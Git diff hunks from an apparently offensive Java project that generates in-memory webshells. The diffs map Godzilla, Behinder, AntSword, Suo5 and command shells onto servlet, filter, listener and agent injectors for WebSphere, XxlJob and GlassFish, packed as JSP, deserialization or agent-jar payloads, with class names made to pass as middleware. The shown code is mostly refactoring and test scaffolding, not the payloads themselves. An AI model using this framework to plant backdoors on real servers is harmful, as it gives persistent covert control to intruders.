.addShellClass(FILTER, AntSwordFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword))
.addShellClass(AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
.build());
}
}
@@ -0,0 +1,90 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterChainAgentInjector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereListenerInjector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereServletInjector;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner;
import static com.reajason.javaweb.memshell.ShellType.*;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class WebSphereShell extends AbstractShell {
public static final String AGENT_FILTER_MANAGER = AGENT + "FilterManager";
public static class ListenerInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_connContext"), "_response");
}
}
@Override
protected InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(SERVLET, WebSphereServletInjector.class)
.addInjector(FILTER, WebSphereFilterInjector.class)
.addInjector(LISTENER, WebSphereListenerInjector.class)
.addInjector(AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class)
.build();
}
@Override
protected void init() {
addToolMapping(ShellTool.Command, ToolMapping.builder()
.addShellClass(SERVLET, CommandServlet.class)
.addShellClass(FILTER, CommandFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Command))
.addShellClass(AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class)
.addShellClass(FILTER, GodzillaFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Godzilla))
.addShellClass(AGENT_FILTER_MANAGER, GodzillaFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
.addShellClass(SERVLET, BehinderServlet.class)
.addShellClass(FILTER, BehinderFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Behinder))
.addShellClass(AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
.addShellClass(SERVLET, Suo5Servlet.class)
.addShellClass(FILTER, Suo5Filter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Suo5))
.build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
.addShellClass(SERVLET, AntSwordServlet.class)
.addShellClass(FILTER, AntSwordFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.AntSword))
.addShellClass(AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
.build());
}
}
@@ -0,0 +1,30 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
import com.reajason.javaweb.memshell.xxljob.injector.XxlJobNettyHandlerInjector;
/**
* @author ReaJason
* @since 2025/1/21
*/
public class XxlJobShell extends AbstractShell {
public static final String NETTY_HANDLER = "NettyHandler";
@Override
protected InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(NETTY_HANDLER, XxlJobNettyHandlerInjector.class)
.build();
}
@Override
protected void init() {
addToolMapping(ShellTool.Command, ToolMapping.builder()
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class).build());
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class).build());
}
}
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.utils;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.Server;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
@@ -100,17 +100,38 @@ public class CommonUtil {
}
public static String generateShellClassName(Server server, String shellType) {
String packageName = switch (server) {
case Jetty -> "org.eclipse.jetty.servlet.handlers";
case Undertow, JBossEAP7, WildFly -> "io.undertow.servlet.handlers";
case SpringWebMvc -> "org.springframework.boot.mvc.handlers";
case SpringWebFlux -> "org.springframework.boot.webflux.handlers";
case WebSphere -> "com.ibm.ws.webcontainer.handlers";
case WebLogic -> "weblogic.servlet.internal.handlers";
case Resin -> "com.caucho.server.dispatch.handlers";
case BES -> "com.bes.enterprise.webtier.web.handlers";
default -> "org.apache.http.web.handlers";
};
String packageName;
switch (server) {
case Jetty:
packageName = "org.eclipse.jetty.servlet.handlers";
break;
case Undertow:
case JBossEAP7:
case WildFly:
packageName = "io.undertow.servlet.handlers";
break;
case SpringWebMvc:
packageName = "org.springframework.boot.mvc.handlers";
break;
case SpringWebFlux:
packageName = "org.springframework.boot.webflux.handlers";
break;
case WebSphere:
packageName = "com.ibm.ws.webcontainer.handlers";
break;
case WebLogic:
packageName = "weblogic.servlet.internal.handlers";
break;
case Resin:
packageName = "com.caucho.server.dispatch.handlers";
break;
case BES:
packageName = "com.bes.enterprise.webtier.web.handlers";
break;
default:
packageName = "org.apache.http.web.handlers";
break;
}
return packageName
+ "." + getRandomString(5)
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
@@ -0,0 +1,29 @@
package com.reajason.javaweb.memshell.utils;
import java.lang.reflect.Field;
/**
* @author ReaJason
* @since 2025/2/22
*/
public class ShellCommonUtil {
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.utils.CommonUtil;
@@ -23,7 +26,7 @@ class GodzillaGeneratorTest {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(Constants.SERVLET)
.shellType(ShellType.SERVLET)
.targetJreVersion(Opcodes.V1_6)
.debug(true)
.build();
@@ -1,27 +0,0 @@
package com.reajason.javaweb.memshell.packer.spel;
import com.alibaba.fastjson2.JSON;
import com.alibaba.fastjson2.JSONWriter;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
import com.reajason.javaweb.memshell.packer.Packers;
import org.junit.jupiter.api.Test;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/1/26
*/
class SpELPackerTest {
@Test
void pack() {
GenerateResult generateResult = GenerateResult.builder()
.injectorClassName("name")
.injectorBytes("name".getBytes()).build();
AggregatePacker spELPacker = (AggregatePacker) Packers.SpEL.getInstance();
Map<String, String> stringStringMap = spELPacker.packAll(generateResult);
System.out.println(JSON.toJSONString(stringStringMap, JSONWriter.Feature.PrettyFormat));
}
}
@@ -1,7 +1,7 @@
package com.reajason.javaweb.memshell.tomcat.command;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.generator.CommandGenerator;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
@@ -24,9 +24,9 @@ class CommandFilterTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(Constants.FILTER, CommandFilter.class, "org.apache.utils.CommandFilter"),
arguments(Constants.LISTENER, CommandListener.class, "org.apache.utils.CommandListener"),
arguments(Constants.VALVE, CommandValve.class, "org.apache.utils.CommandValve")
arguments(ShellType.FILTER, CommandFilter.class, "org.apache.utils.CommandFilter"),
arguments(ShellType.LISTENER, CommandListener.class, "org.apache.utils.CommandListener"),
arguments(ShellType.VALVE, CommandValve.class, "org.apache.utils.CommandValve")
);
}
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.tomcat.godzilla;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.generator.GodzillaGenerator;
@@ -32,9 +32,9 @@ class GodzillaTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(Constants.FILTER, GodzillaFilter.class, "org.apache.utils.GodzillaFilter"),
arguments(Constants.LISTENER, GodzillaListener.class, "org.apache.utils.GodzillaListener"),
arguments(Constants.VALVE, GodzillaValve.class, "org.apache.utils.GodzillaValve")
arguments(ShellType.FILTER, GodzillaFilter.class, "org.apache.utils.GodzillaFilter"),
arguments(ShellType.LISTENER, GodzillaListener.class, "org.apache.utils.GodzillaListener"),
arguments(ShellType.VALVE, GodzillaValve.class, "org.apache.utils.GodzillaValve")
);
}
@@ -1,13 +1,16 @@
package com.reajason.javaweb.integration;
import com.reajason.javaweb.GeneratorMain;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.GeneratorMain;
import com.reajason.javaweb.antsword.AntSwordManager;
import com.reajason.javaweb.behinder.BehinderManager;
import com.reajason.javaweb.godzilla.GodzillaManager;
import com.reajason.javaweb.memshell.SpringWebFluxShell;
import com.reajason.javaweb.memshell.SpringWebMvcShell;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.server.SpringWebFluxShell;
import com.reajason.javaweb.memshell.server.SpringWebMvcShell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
import com.reajason.javaweb.suo5.Suo5Manager;
import lombok.SneakyThrows;
@@ -48,7 +51,7 @@ public class ShellAssertionTool {
String shellUrl = url + "/test";
String urlPattern = null;
if (shellType.endsWith(Constants.SERVLET)
if (shellType.endsWith(ShellType.SERVLET)
|| shellType.endsWith(SpringWebMvcShell.CONTROLLER_HANDLER)
|| shellType.equals(SpringWebFluxShell.HANDLER_METHOD)
|| shellType.equals(SpringWebFluxShell.HANDLER_FUNCTION)
@@ -1,9 +1,9 @@
package com.reajason.javaweb.integration.glassfish;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -49,44 +49,44 @@ public class GlassFish3ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
// arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // classFormatError
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
// arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
);
}
@@ -1,9 +1,9 @@
package com.reajason.javaweb.integration.glassfish;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -50,44 +50,44 @@ public class GlassFish4ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
);
}
@@ -1,9 +1,9 @@
package com.reajason.javaweb.integration.glassfish;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -42,44 +42,44 @@ public class GlassFish501ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
